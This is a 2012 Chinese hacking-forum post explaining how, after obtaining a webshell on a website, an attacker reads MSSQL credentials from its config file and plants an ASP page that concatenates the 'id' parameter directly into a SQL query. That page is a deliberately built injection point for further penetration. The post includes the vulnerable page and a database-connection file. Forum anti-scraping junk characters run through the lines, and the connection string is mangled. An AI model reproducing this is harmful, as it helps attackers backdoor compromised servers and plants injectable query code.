找回密码
 立即注册
查看: 2113|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵  p/ J# u# j4 D; |( c$ M) i+ s) k9 e
' u( U2 V" o# l3 `" {, b7 \
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息: J- E0 i3 l! o2 I
. _+ r, _' a& J1 z( c& q
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
/ u; j% t; T+ I) W9 z/ v# S- c% |8 D9 T% X% K( Z' A. ?" i% @( L* w
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和- L) |8 l7 E+ @, |

0 u8 a1 A1 x+ R! r密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
1 F' x  a$ h" P
  D8 J  _- f# L+ R. D因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:+ d4 f/ ], i, O0 c+ k4 [
4 z1 C4 ]$ y7 i
程序代码) {( z. T2 d! R, z( u
<!--#include file="xx.asp"-->- K' f! C5 V" B3 p0 h
<%
5 S  q6 D  U! `set rs=server.createobject("ADODB.recordset")
6 ^* w! X$ @6 \3 `1 c  P9 [id = request("id")7 y& `1 p1 V$ Z) o' \" F
strSQL = "select * from admin where id=" & id# L$ `3 `8 Q4 [# T8 J
rs.open strSQL,conn,1,3# _  E$ K  T( p
rs.close
) W( H9 C% `: c% h0 ]%>! `5 G* \( B1 L( ^' b

5 F/ A' Y) X4 }2 |6 i- i' `7 v把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在! C- T5 y. \' y7 t, ]. m3 M4 ]2 x

! c5 S1 U# _1 t0 j0 j; d/ y$ ]你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
9 w3 W7 o( Z$ o5 C* z  E9 o) `, S0 ~+ H, x2 Q* p! E8 ?
然后就要构造一个连接数据库的文件了,代码如下:
( E: @0 j2 u6 V9 o/ B$ d+ k程序代码
9 A0 i! K7 P, I' Q. A" z9 I6 ~" o<%        0 b8 f5 l4 r# m9 M8 L9 D
strSQLServerName = "000.000.000.000"     '服务器名称或地址
- s8 ~4 J5 p* |+ ustrSQLDBUserName = "sqlname"         '数据库帐号7 u+ i2 _9 X0 N, }
strSQLDBPassword = "sqlpass"         '数据库密码& i' k5 I* T$ E4 o, e/ {: K
strSQLDBName = "sqldataname"           '数据库名称: |) E* P$ r# i% }
Set conn = Server.CreateObject("ADODB.Connection"). y5 K( @) k1 s6 ~( a7 Y4 e6 C5 Z
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"# M' i2 n( H, a4 _6 a! ]3 E  m
conn.open strCon6 |: i4 u  c; d8 E
%>
: r% @' U0 ?3 J. E: b. W
& H6 a1 P2 h; b! d% G这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,& D3 I0 H$ Z2 o; S! ]1 t4 b! C- m

1 r6 t3 o. N+ X. P( |, L7 H就这样,正常情况下,就OK了,伪造成功……" V9 r+ p" e* B) }3 _

, k2 e; n  `: |, y9 S' |3 i& \/ |           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表